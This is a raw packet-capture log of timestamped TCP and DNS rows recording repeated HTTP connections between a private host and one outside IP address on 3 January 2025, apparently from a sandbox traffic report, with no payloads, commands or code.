Jan 3, 2025 18:27:40.487888098 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:40.487988949 CET	61259	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:40.492847919 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:40.494601011 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:40.494733095 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:40.499463081 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:40.535801888 CET	80	61259	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:40.610573053 CET	61261	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:40.615453959 CET	80	61261	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:40.615515947 CET	61261	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:40.615629911 CET	61261	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:40.620445967 CET	80	61261	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:40.797470093 CET	80	61259	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:40.797522068 CET	61259	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:40.846458912 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:40.851249933 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:40.851464033 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:40.971457005 CET	61261	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:40.976501942 CET	80	61261	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:40.976514101 CET	80	61261	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:40.976521969 CET	80	61261	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.175582886 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.252640963 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.293059111 CET	80	61261	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.303272009 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.303780079 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.308562994 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.339972019 CET	57094	53	192.168.2.4	162.159.36.2
Jan 3, 2025 18:27:41.344743967 CET	53	57094	162.159.36.2	192.168.2.4
Jan 3, 2025 18:27:41.344794035 CET	57094	53	192.168.2.4	162.159.36.2
Jan 3, 2025 18:27:41.349898100 CET	53	57094	162.159.36.2	192.168.2.4
Jan 3, 2025 18:27:41.422600985 CET	80	61261	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.422655106 CET	61261	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.514892101 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.515161991 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.520014048 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.520032883 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.520088911 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.520117998 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.520128012 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.520152092 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.520205021 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.520222902 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.520231962 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.520256996 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.520266056 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.520272017 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.520301104 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.520311117 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.520431995 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.520473003 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.524692059 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.524701118 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.524751902 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.524872065 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.524914980 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.524920940 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.524971008 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.524986029 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.525027990 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.525049925 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.525074959 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.525099039 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.525124073 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.525141001 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.525151014 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.525191069 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.525199890 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.525243998 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.525247097 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.525289059 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.525326014 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.525369883 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.529422998 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.529467106 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.529725075 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.529766083 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.529787064 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.529827118 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.529829025 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.529869080 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.529872894 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.529917002 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.529920101 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.529968023 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.529973984 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530021906 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530033112 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.530057907 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.530100107 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530117035 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530150890 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.530169010 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.530230999 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530240059 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530256033 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530265093 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530280113 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530282021 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.530287981 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530293941 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.530330896 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530334949 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.530339956 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530376911 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.530380964 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530390978 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530426979 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.530426979 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530436993 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530458927 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530467987 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.530484915 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.530519009 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.530546904 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530555964 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530564070 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530585051 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530591011 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.530594110 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530601025 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.530628920 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530636072 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.530637980 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530667067 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.530673027 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.530704021 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.534265995 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.534317017 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.534511089 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.534521103 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.534569025 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.534595013 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.534604073 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.534655094 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.534663916 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.534728050 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.534735918 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.534785986 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.534795046 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.534868956 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.534877062 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.534905910 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.534941912 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535010099 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535018921 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535125017 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535134077 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535144091 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535181046 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535267115 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535275936 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535356045 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535365105 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535384893 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535393000 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535499096 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535507917 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535517931 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535526037 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535593033 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535602093 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535629034 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535645962 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535703897 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535712004 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535728931 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535762072 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535794973 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535811901 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535873890 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535881996 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535917044 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.535933971 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536020041 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536027908 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536067963 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536077023 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536122084 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536132097 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536164999 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536174059 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536230087 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536237955 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536304951 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536314011 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536329985 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536339045 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536380053 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536389112 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536421061 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536461115 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536484003 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536493063 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536537886 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536546946 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536592960 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536602974 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536643982 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536653042 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536696911 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536705971 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.536716938 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.539150000 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.539159060 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.539406061 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.539413929 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.539424896 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.556245089 CET	61261	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.556566000 CET	57095	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.561297894 CET	80	61261	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.561353922 CET	61261	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.561393023 CET	80	57095	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.561450005 CET	57095	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.561527014 CET	57095	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.566272020 CET	80	57095	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.809725046 CET	57094	53	192.168.2.4	162.159.36.2
Jan 3, 2025 18:27:41.815064907 CET	53	57094	162.159.36.2	192.168.2.4
Jan 3, 2025 18:27:41.815135002 CET	57094	53	192.168.2.4	162.159.36.2
Jan 3, 2025 18:27:41.908974886 CET	57095	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:41.913892031 CET	80	57095	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.913902998 CET	80	57095	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:41.913913012 CET	80	57095	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:42.105762005 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:42.252648115 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:42.268882036 CET	80	57095	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:42.399409056 CET	80	57095	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:42.399471998 CET	57095	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:42.530709982 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:42.530832052 CET	57095	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:42.531146049 CET	57098	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:42.536860943 CET	80	57098	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:42.536874056 CET	80	61260	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:42.536931038 CET	57098	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:42.536956072 CET	61260	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:42.537081003 CET	57098	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:42.537141085 CET	80	57095	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:42.537189960 CET	57095	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:42.542572021 CET	80	57098	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:42.893343925 CET	57098	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:42.898222923 CET	80	57098	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:42.898235083 CET	80	57098	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:42.898243904 CET	80	57098	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:43.217616081 CET	80	57098	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:43.346561909 CET	80	57098	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:43.346652031 CET	57098	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:43.467720032 CET	57099	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:43.467773914 CET	57098	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:43.472536087 CET	80	57099	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:43.472796917 CET	80	57098	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:43.472862959 CET	57098	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:43.473000050 CET	57099	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:43.473000050 CET	57099	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:43.477756977 CET	80	57099	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:43.830899954 CET	57099	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:43.835746050 CET	80	57099	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:43.835757017 CET	80	57099	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:43.835764885 CET	80	57099	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:44.182012081 CET	80	57099	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:44.268287897 CET	57099	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:44.318528891 CET	80	57099	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:44.435945988 CET	57099	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:44.436202049 CET	57100	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:44.440951109 CET	80	57099	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:44.440987110 CET	80	57100	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:44.441046000 CET	57099	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:44.441072941 CET	57100	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:44.441174984 CET	57100	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:44.445914984 CET	80	57100	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:44.799602032 CET	57100	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:44.804531097 CET	80	57100	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:44.804542065 CET	80	57100	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:44.804549932 CET	80	57100	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:45.128572941 CET	80	57100	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:45.252654076 CET	57100	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:45.254597902 CET	80	57100	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:45.399441004 CET	57100	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:45.400223017 CET	57101	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:45.404432058 CET	80	57100	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:45.404475927 CET	57100	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:45.404992104 CET	80	57101	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:45.405055046 CET	57101	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:45.405145884 CET	57101	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:45.409847021 CET	80	57101	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:45.752799988 CET	57101	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:45.757678032 CET	80	57101	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:45.757694006 CET	80	57101	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:45.757704020 CET	80	57101	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:46.128319025 CET	80	57101	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:46.174590111 CET	57101	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:46.254847050 CET	80	57101	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:46.315176010 CET	57101	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:46.316759109 CET	57102	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:46.317080021 CET	57101	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:46.321552038 CET	80	57102	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:46.321604967 CET	57102	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:46.321722984 CET	57102	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:46.321937084 CET	80	57101	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:46.321985960 CET	57101	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:46.326478004 CET	80	57102	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:46.374156952 CET	57103	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:46.374329090 CET	57102	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:46.378963947 CET	80	57103	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:46.379033089 CET	57103	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:46.379296064 CET	57103	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:46.384094000 CET	80	57103	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:46.419855118 CET	80	57102	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:46.737122059 CET	57103	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:46.742084980 CET	80	57103	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:46.742099047 CET	80	57103	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:46.742106915 CET	80	57103	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:46.815934896 CET	80	57102	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:46.815990925 CET	57102	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:47.075741053 CET	80	57103	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:47.143280029 CET	57103	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:47.206357956 CET	80	57103	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:47.252670050 CET	57103	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:47.330755949 CET	57103	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:47.331300020 CET	57104	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:47.335952997 CET	80	57103	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:47.335999012 CET	57103	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:47.336141109 CET	80	57104	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:47.336205959 CET	57104	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:47.336303949 CET	57104	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:47.341048002 CET	80	57104	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:47.690370083 CET	57104	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:47.695410013 CET	80	57104	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:47.695431948 CET	80	57104	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:47.695446968 CET	80	57104	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:48.031358957 CET	80	57104	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:48.080806017 CET	57104	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:48.162520885 CET	80	57104	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:48.205812931 CET	57104	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:48.281759024 CET	57104	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:48.281763077 CET	57105	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:48.286633968 CET	80	57105	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:48.286698103 CET	57105	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:48.286725044 CET	80	57104	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:48.286771059 CET	57104	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:48.290271997 CET	57105	80	192.168.2.4	86.110.194.28
